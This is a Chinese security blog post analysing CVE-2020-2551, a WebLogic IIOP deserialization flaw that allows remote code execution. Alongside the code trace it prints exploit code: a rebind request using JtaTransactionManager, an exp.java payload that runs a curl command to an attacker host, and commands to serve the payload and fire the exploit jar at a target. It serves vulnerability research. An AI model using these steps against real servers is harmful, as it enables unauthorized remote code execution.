1. 首页
  2. 代码审计

[内置工具]Weblogic CVE-2020-2551 IIOP协议反序列化RCE

IIOP协议导致的反序列化

环境

weblogic10.3.6+jdk1.6
idea+jdk1.8+jdk1.6

IIOP

IIOP,Internet Inter-ORB Protocol(互联网内部对象请求代理协议),它是一个用于CORBA 2.0及兼容平台上的协议;用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI 和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性。

在Weblogic中,默认启用了IIOP,而IIOP的传输也是通过序列化和反序列化的形式来进行的。在Weblogic中RMI-IIOP模型可以借用奇安信观星实验室的一张图来说明

image

IIOP样例

先来看一个简单的RMI-IIOP样例,具体代码可以看 https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms

package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
            //实例化Hello servant
            HelloImpl helloRef = new HelloImpl();

            //使用JNDI在命名服务中发布引用
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);

            System.out.println("Hello Server Ready...");

            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

Server端通过InitialContext拿到上下文,然后注册一个HelloService对应helloRef引用,而HelloImpl又实现了HelloInterface接口,其中有一个sayHello方法并且继承java.rmi.Remote抛出java.rmi.RemoteException,这部分其实和RMI是大同小异的,在我的其他文章中介绍过了RMI,这里不再赘述。

漏洞分析

现在我们来看这个漏洞。IIOP传输的过程中会自动序列化和反序列化,那么我们可以通过向服务器7001端口发送一个恶意的序列化对象,IIOP达到RCE。

发送恶意序列化对象的过程,其实就是bind的过程,由此我们可以构造请求

Hashtable<String, String> env = new Hashtable<String, String>();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiurl);

Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
context.rebind("Y4er"+System.nanoTime(), remote);

你肯定疑惑JtaTransactionManager和weblogic.jndi.WLInitialContextFactory是从哪来的?

  1. JtaTransactionManager是spring爆出的一个可以JDNI注入的类,在weblogic中也存在。
  2. weblogic.jndi.WLInitialContextFactory 是weblogic的JDNI工厂类。

国际惯例,跟一下流程,IIOP解析数据流的部分看不懂不跟了,从IIOP开始反序列化对象开始

E:/source/java/Weblogic/src/main/resources/lib/modules/weblogic.jar!/weblogic/iiop/IIOPInputStream.class:1725
image

此时var2是序列化传入的com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager,跟进readValue()
image

跟进readValueData(),判断是否有readObject方法之后进入自身的readObject(),也就是om.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager的readObject

image

然后通过反射调用JtaTransactionManager的readObject(),跟进
image

到此之后就是Weblogic的CVE-2018-3191 spring JDNI注入了,简单来说就是lookup()的参数可控,导致可以加载任意类。我们继续跟进initUserTransactionAndTransactionManager()
image

如果userTransaction等于空有userTransactionName属性则进入lookupUserTransaction(),跟进
image

此时lookup()参数可控
image

lookup加载我们的RMI服务,可以注入恶意ip的rmi服务,触发实例化恶意类构造方法调用。如果不明白请参考文末的《Spring framework 反序列化的漏洞》以及《weblogic之CVE-2018-3191漏洞分析》。

漏洞利用

Github:https://github.com/Y4er/CVE-2020-2551

下载jar包,然后使用marshalsec起一个恶意的RMI服务,本地编译一个exp.java

package payload;

import java.io.IOException;

public class exp {

    public exp() {
        String cmd = "curl http://172.16.1.1/success";
        try {
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

尽量使用和weblogic相同的版本编译 然后本地起一个web服务器

python -m http.server --bind 0.0.0.0 80

命令行运行jar包

java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp

实际效果如图
image

参考链接

  1. https://paper.seebug.org/1130
  2. https://seaii-blog.com/index.php/2019/12/29/92.html
  3. https://www.anquanke.com/post/id/197605
  4. https://www.cnblogs.com/afanti/p/10256843.html
  5. https://www.cnblogs.com/afanti/p/10193169.html
  6. https://github.com/Y4er/CVE-2020-2551
  7. https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms
  8. https://paper.seebug.org/1105/
  9. https://paper.seebug.org/1091/

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er

发表评论

电子邮件地址不会被公开。 必填项已用*标注

评论列表(2条)

  • Niko 2020年3月27日 下午4:29

    您好,我靶机的环境是Linux+weblogic10.3.6+jdk1.6; 攻击机是Win10+jdk8, 按照您的方法序列化exp.java后得出exp.class(这里序列化的环境我在靶机执行的)。但是开始执行后在本机只监听到了一个靶机获取exp.class的请求 然后就没有下文了。没有监听到succese,请问是什么原因

    • Y4er 回复 Niko 2020年4月9日 上午11:32

      nat网络的问题 参见先知昨天的文章

联系我们

在线咨询:点击这里给我发消息

QR code